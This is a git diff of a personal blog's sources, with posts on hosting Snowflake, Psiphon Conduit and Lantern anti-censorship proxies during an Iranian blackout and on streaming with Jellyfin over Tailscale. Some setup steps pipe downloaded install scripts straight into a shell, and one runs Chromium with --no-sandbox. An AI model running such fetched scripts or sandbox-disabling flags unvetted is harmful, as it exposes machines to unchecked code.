+LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0 +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2 +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1 +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4 +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0= +=T3Em +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/backout.md b/public-onion/sources/posts/backout.md new file mode 100644 index 0000000..2b2e376 --- /dev/null +++ b/public-onion/sources/posts/backout.md @@ -0,0 +1,341 @@ ++++ +title = 'Backout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/public-onion/sources/posts/backout.md.asc b/public-onion/sources/posts/backout.md.asc new file mode 100644 index 0000000..28fdb94 --- /dev/null +++ b/public-onion/sources/posts/backout.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSrR9Q/+LRsLjKWExUfiGl6tJ6N9hircIhvYJkjA/Bn9IcXkkWlPgwWx6r8uWxvV +09c5AOvZFpnh2lZg2u/aCWL6jQpHE5A2XNp4CXaOYpFXgrIgeuHnWSHKm9LpQ9YO +7SNYc7QespDh2u8HM5Z2bzSIiH/42Y6dNBg4Doif8rd7ZGs7m9w67KUVFzK7mYoN +6FVOFaFnb0KWhG0kKuqi9yKyjiqC503HDO8mx0ZMU/6yTprH4OEyzC1u+U4rwIUx +HozKywr26SMVyuPRsHdRF5Pwl1S/UZo1JTpUwnJG634tR4XraDQFvAuzX8NGN86W +f4NfKJxukjGLsm7NYXh/uWqt21uMpCODaX2BPZtmJY7hS8eOF+rHxwo3q/58ot// +cejN07L5knLYAjKUBIoTAZIhoVsZSp/iTHTRllh8q7qf8ZUM6vsBvkfR8oDzvjZx +ZzGIRujPOrFlB26WTbSQcX4z/NjRdlPqLJ/bQchQSFP8kOs6XvavbloiZXi79XK1 +ACnqvEVUzH9L8KyfDf9GO6xUZInpazTdn7mqELGpLJ7KPX47zFr8NK11tp3M1Ln7 +nduXo/aqgecUFigixde58W5DXGZMBvDU3yfCyMGoD/q5N5kDrQvFe9KK+Yuw8xd3 +5JUVvtYmX2q58gsvpwVrFlnDpXyfOXVNn1ETQZU34ZhFZ2OsEPQ= +=RIxO +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/blackout.md b/public-onion/sources/posts/blackout.md new file mode 100644 index 0000000..d5c0a16 --- /dev/null +++ b/public-onion/sources/posts/blackout.md @@ -0,0 +1,341 @@ ++++ +title = 'Blackout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/public-onion/sources/posts/blackout.md.asc b/public-onion/sources/posts/blackout.md.asc new file mode 100644 index 0000000..d511614 --- /dev/null +++ b/public-onion/sources/posts/blackout.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7 +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw= +=t4W3 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/boredom.md b/public-onion/sources/posts/boredom.md new file mode 100644 index 0000000..8074749 --- /dev/null +++ b/public-onion/sources/posts/boredom.md @@ -0,0 +1,167 @@ +--- +title: "Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4" +date: 2025-12-21T09:30:00+01:00 +draft: false +description: "A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later." +tags: ["raspberrypi", "jellyfin", "tailscale", "docker", "homelab", "movienight"] +showToc: true +TocOpen: true +--- + +Ok. Let me tell you the why first. So.... I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn't hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It's funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself "let't message one of my two best friends", We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. + +I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale. + +This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at. + +## The idea + +Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later. + +The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly. + +## What you need + +My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane. + +## Step one: choose a home for your stuff + +Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers. + +On the Pi, I created a little directory neighborhood under `/srv`: + +```bash +sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin +sudo chown -R $USER:$USER /srv +``` + +If you’re not ready to move movies into `/srv/media` yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup. + +## Step two: install Docker and start thinking in containers + +I installed Docker and verified that `docker compose` worked. After that, everything became a file called `docker-compose.yml` and the comforting feeling that I can rebuild my server from a single folder if life gets weird. + +A typical install flow on Raspberry Pi OS looks like this: + +```bash +sudo apt update +sudo apt install -y ca-certificates curl +curl -fsSL https://get.docker.com | sh +sudo usermod -aG docker $USER +newgrp docker +docker --version +docker compose version +``` + +Now for the part that feels like summoning a friendly daemon. + +## Step three: Jellyfin, running happily in Docker + +In `/srv/compose/jellyfin/docker-compose.yml`, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to `/home/hub/Documents/movies` from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that. + +Here’s a simple `docker-compose.yml` that works well on a Pi: + +```yaml +services: + jellyfin: + image: jellyfin/jellyfin:latest + container_name: jellyfin + user: "1000:1000" + ports: + - "8096:8096/tcp" + - "7359:7359/udp" + volumes: + - /srv/jellyfin/config:/config + - /srv/jellyfin/cache:/cache + - /srv/media:/media + restart: unless-stopped +``` + +If your user isn’t UID 1000, check it with `id -u` and `id -g`, then update the `user:` line accordingly. + +I started Jellyfin like this: + +```bash +cd /srv/compose/jellyfin +docker compose up -d +``` + +After that, Jellyfin lived at `http://:8096` on my home network, which is the most satisfying “it’s alive” moment of the whole build. + +## Step four: Tailscale, the magic door for friends + +Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host. + +```bash +curl -fsSL https://tailscale.com/install.sh | sh +sudo tailscale up +tailscale ip -4 +``` + +That last command gives you a `100.x.y.z` address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes: + +```text +http://100.x.y.z:8096 +``` + +Or if you enabled magicDNS: + +```text +http://rpi:8096 +``` + +The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project. + +If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.” + +## Step five: create a Jellyfin user for your friend + +Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself. + +If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one. + +## Step six: the secret to a smooth Pi movie night is Direct Play + +A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion. + +For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer. + +The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart "500.Days.of.Summer.2009.1080p.mp4" +``` + +Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:s:0 "500.Days.of.Summer.2009.1080p.srt" +``` + +Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning. + +## Step seven: SyncPlay, aka “we pressed play together” + +Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy. + +## 